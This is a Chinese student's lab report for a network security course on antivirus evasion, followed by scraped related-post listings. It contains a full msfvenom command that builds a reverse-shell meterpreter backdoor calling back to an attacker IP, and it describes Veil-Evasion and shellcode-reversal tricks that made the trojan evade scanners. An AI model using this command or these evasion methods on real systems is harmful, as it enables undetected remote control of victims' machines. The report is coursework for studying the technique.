2015306 白皎 《网络攻防》Exp3 免杀原理与实践

一、实践基础

免杀,故名思义,指的是一种能使病毒木马免于被杀毒软件查杀的技术。

免杀的方法有很多,比如加壳改壳、加垃圾指令、以及修改内存特征码,在本博客后面就是通过把具有特征码的代码顺序互换一下来达到免杀的目的。

二、实践内容

第一项: Msfvenom编码器生成的程序

1.直接利用上次后门实验生成的exe文件进行检测~

可以明显的看到将近一半的杀软都可以检测出来错误,说明这个木马不行,之后我们会进行改造,尽量使文件不要被查杀出来。

2.按理论上讲,编码会降低检出率,那我们多编码几次,看一下效果。下面是编码10次的命令。

# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i **10** -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded10.exe

编码十次之后,我们继续进行检测。可以看到,并没有什么变化。可以得出结论,编码次数的多少对免杀效果没有积极影响。

第二项:veil-evasion生成的程序

1.直接拷了老师的虚拟机,在安装weil上没有遇到什么波折~按照老师动图的教程,启动weil,设置好回连的IP地址和端口号后,生成后门程序。然后在网站中进行检测。

可以发现,报毒率很明显降低。

第三项:用shellcode编写的程序

1.通过msf生成一个c语言格式的Shellcode数组。设置好攻击机IP地址和端口号。

2.通过以下该命令进行编译。意思是将该文件编译为一个可在64位windows系统下操作的可执行文件。

3.将生成的执行文件进行检测。可以看到

4.下面进行回连,可以看到是ok的。

5.接下来又是进一步的改造。我选择的办法是将shellcode进行逆序变换,将变化后的数组放入被攻击机的程序中来尽量隐身,但是之后程序中有将其变回原形的代码。在被攻击机中需要用VS进行编译,使用教程详见如何用VS2012编写c语言?。现在在进行一次检测。

可以看到只查出一个哈哈哈!

6.用电脑杀毒软件去查杀木马病毒,也没有被查杀出来!

7.再次进行回连成功~~~

三、问题回答

1.基础问题回答

(1)杀软是如何检测出恶意代码的?

- 基于特征码的检测

- 启发式恶意软件检测

- 基于行为的恶意软件检测

(2)免杀是做什么?

使病毒木马免于被杀毒软件查杀,使攻击机安全利用

(3)免杀的基本方法有哪些?

- 加壳改壳:加壳改壳是病毒免杀常用的手段之一,加壳改壳原理是将一个木马文件加上upx壳或者其它壳后用lordpe将文件入口点加1,然后将区段字符全部去掉,然后用od打开免杀的木马在入口上下100字符内修改一些代码让杀毒软件查不出来是什么壳就不知道怎么脱就可以实现免杀的目的。
- 加花指令:加花是病毒免杀常用的手段,加花的原理就是通过添加加花指令(一些垃圾指令,类型加1减1之类的无用语句)让杀毒软件检测不到特征码,干扰杀毒软件正常的检测。 - 改程序入口点 - 免杀修改方法:直接修改特征码的十六进制法、修改字符串大小写法、等价替换法、指令顺序调换法、通用跳转法。

2.实践总结与体会

从这次的实验最直观的了解到我们日常用的杀毒软件也并不是万能的,存在着很多漏洞,因此自己在使用电脑,使用网络时要小心谨慎。

然后在做实验的过程中,可以初步了解到我们的电脑被攻击是怎么个原理。感觉懂这些技术的大神是非常酷的!!!

3.离实战还缺些什么技术或步骤?

首先,对于实战来说,木马程序如何嵌入被攻击机中。比如我们日常生活能看到的视频、网页、百度云中的一些木马程序,如何将后门加载到其中我们还需要学习。

其次,我们现在只是会非常简单的对shellcode进行一些改造,但实际上病毒库时时刻刻不再更新发展,我们更需要学会多方面技术来使不同的后门免杀。

2015306 白皎 《网络攻防》Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165205 网络攻防Exp3免杀原理与实践

    2018-2019-2 20165205 网络攻防Exp3免杀原理与实践 一.实践内容 1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用 ...

  2. 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践

    2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...

  3. 20145236《网络攻防》 Exp3 免杀原理与实践

    20145236<网络攻防> Exp3 免杀原理与实践 一.基础问题回答 1.杀软是如何检测出恶意代码的? 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的 ...

  4. 20155226《网络攻防》 Exp3 免杀原理与实践

    20155226<网络攻防> Exp3 免杀原理与实践 实验过程 1. msfvenom直接生成meterpreter可执行文件 直接将上周做实验时用msf生成的后门文件放在virscan ...

  5. 20155308 《网络攻防》 Exp3 免杀原理与实践

    20155308 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测 ...

  6. 20155318 《网络攻防》Exp3 免杀原理与实践

    20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...

  7. 20155321 《网络攻防》 Exp3 免杀原理与实践

    20155321 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 根据实验指导书,杀软有两个方法可以检测出恶意代码.第一种是基于特征码,即先对流行代码特 ...

  8. 20155330 《网络攻防》 Exp3 免杀原理与实践

    20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序 ...

  9. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

随机推荐

  1. Object 类型

    Object 类型 ECMAScript中大多数的引用类型都值都是Object类型的实例,Object也是使用最多的一个类型,主要用来在程序中存储和传输数据 创建Object实例的两种方式 使用new ...

  2. 使用AKLocationManager定位

    使用AKLocationManager定位 https://github.com/ideaismobile/AKLocationManager 以下是使用情况: 是不是很简单呢,我们可以将它的步骤进一 ...

  3. 理解http请求

    HTTP请求的GET方法可以用来抓取网页. HTTP(HyperText Transfer Protocol)是一套计算机通过网络进行通信的规则,计算机专家设计出HTTP,使HTTP客户(如Web浏览 ...

  4. 申请Let’s Encrypt永久免费SSL证书过程教程及常见问题

    配置证书https://easy.zhetao.com/   虽然目前Let’s Encrypt免费SSL证书默认是90天有效期,但是我们也可以到期自动续约,不影响我们的尝试和使用,为了考虑到文章的真 ...

  5. C# HttpWebRequest 笔记

    目录: 1,HttpWebRequest 实例化 2,GetResponse 获取请求结果 3,获取结果 4,获取流信息 HttpWebRequest 是一个Http 请求类,继承于 WebReque ...

  6. Hadoop HBase概念学习系列之HBase里的存储数据流程(二十三)

    这个,很简单,但凡是略懂大数据的,就很清楚,不多说,直接上图.

  7. 实践和感悟 - scala向下转型和减少穷举

    工作中的问题总结: 问题一:scala 之向下转型 引言:假如在复杂的业务逻辑中,变量的类型不能确认,只能给个接口类型,这样数据类型推导不会错误,但是后面要使用实现类的类型时,你却发现转不过来了? 对 ...

  8. 用windows自带的fsutil修改稀疏文件大小成功,但文件内容似乎丢失

    fsutil sparse setflag. fsutil sparse setrange 10M对应字节,1G对应字节.. 看文件属性,实际尺寸是小了,但内容似乎也丢了..因为自己把该文件做成虚拟盘 ...

  9. ceph crush算法和crushmap浅析

    1 什么是crushmap crushmap就相当于是ceph集群的一张数据分布地图,crush算法通过该地图可以知道数据应该如何分布:找到数据存放位置从而直接与对应的osd进行数据访问和写入:故障域 ...

  10. 1066. [SCOI2007]蜥蜴【最大流】

    Description 在一个r行c列的网格地图中有一些高度不同的石柱,一些石柱上站着一些蜥蜴,你的任务是让尽量多的蜥蜴逃 到边界外. 每行每列中相邻石柱的距离为1,蜥蜴的跳跃距离是d,即蜥蜴可以跳到 ...